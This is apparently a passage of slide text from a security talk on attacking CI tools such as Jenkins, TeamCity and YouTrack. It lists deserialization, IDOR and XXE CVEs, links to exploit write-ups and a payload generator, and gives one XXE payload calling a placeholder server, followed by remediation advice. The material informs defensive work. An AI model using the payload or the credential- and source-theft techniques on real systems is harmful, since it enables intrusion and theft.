  • 36. Notorious Java deserialization in Jenkins CLI (command line interface) deserialization vulnerability CVE-2015-8103 Affected library: ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2.1. jar Details and Exploit: What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability by foxglove security Payload generator: https://github.com/frohoff/ysoserial Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
  • 37. Notorious Java deserialization in Jenkins Xstream parsing CVE-2016-0792 Details and Exploit: Serialization Must Die: Act 2: XStream (Jenkins CVE-2016-0792) by contrast security Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!!
  • 38. TeamCity privilege escalation through IDOR. CVE-2015-1313 - is accessible even if registration is turned of in configs Details and exploit at: https://beyondbinary.io/articles/teamcity-account-creation/ Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!! /registerUserSubmit.html
  • 39. YouTrack XXE in user import function Details: bo0om’s blog + hackerone report 114476 (sadly, both in Russian) Exploit: Send XML payload via PUT method to URI /rest/import/users?{test} Example payload: Bugs Bug͡ s B͜ ̢͝͝ u͢ ̸̕g͢ ̢͝ ̛̀s̨͘͘͟!!! <?xml version="1.0"?> <!DOCTYPE list [ <!ENTITY % xxe SYSTEM "http://myserver/xxe-test"> %xxe; ]> <list></list>
  • 41. Targets ● Source code ● Developer’s identity ● Network-used credentials ● Code execution (e.g. backend access) Exploitation
  • 42. ● Source code ○ Stealing the sources using lack of isolation between projects Exploitation
  • 43. ● Source code ○ Stealing the sources using lack of isolation between projects ○ Source code modification (infection) Exploitation
  • 44. ● Developer’s identity ○ Stealing the identity Exploitation
  • 45. ● Network Infiltration ○ Gaining credentials E.g. from local encrypted storage For Jenkins: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html - Retrieving the eccryption key via admin script console ○ Gaining backend access Exploitation
  • 46. Stealing the source codes and identity. Demo
  • 47. ● Network Infiltration ○ Gaining credentials E.g. from local encrypted storage For Jenkins: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html - Retrieving the ecryption key via admin script console ○ Gaining backend access Exploitation
  • 48. Gaining backend access via simple XSS. Demo
  • 49. ● Botnets. Small but funny Exploitation
  • 50. ● Botnets. Small but funny Official Jenkins CI Exploitation
  • 51. ● Botnets. Small but funny Official TeamCity CI Exploitation
  • 52. ● Botnets. Small but funny Exploitation Jenkins on the internet
  • 53. ● Botnets. Small but funny Exploitation Jenkins on the internetTeamcity on the internet
  • 55. Remediations. Summary ● Never rely on default settings ● Never bind to 0.0.0.0 ● Never rely on safety of 3rd party components like plugins ● Update your tools as soon as a new security advisory is published ● Perform additional validation on all user inputs (including sources) ● Try to isolate projects (Docker?)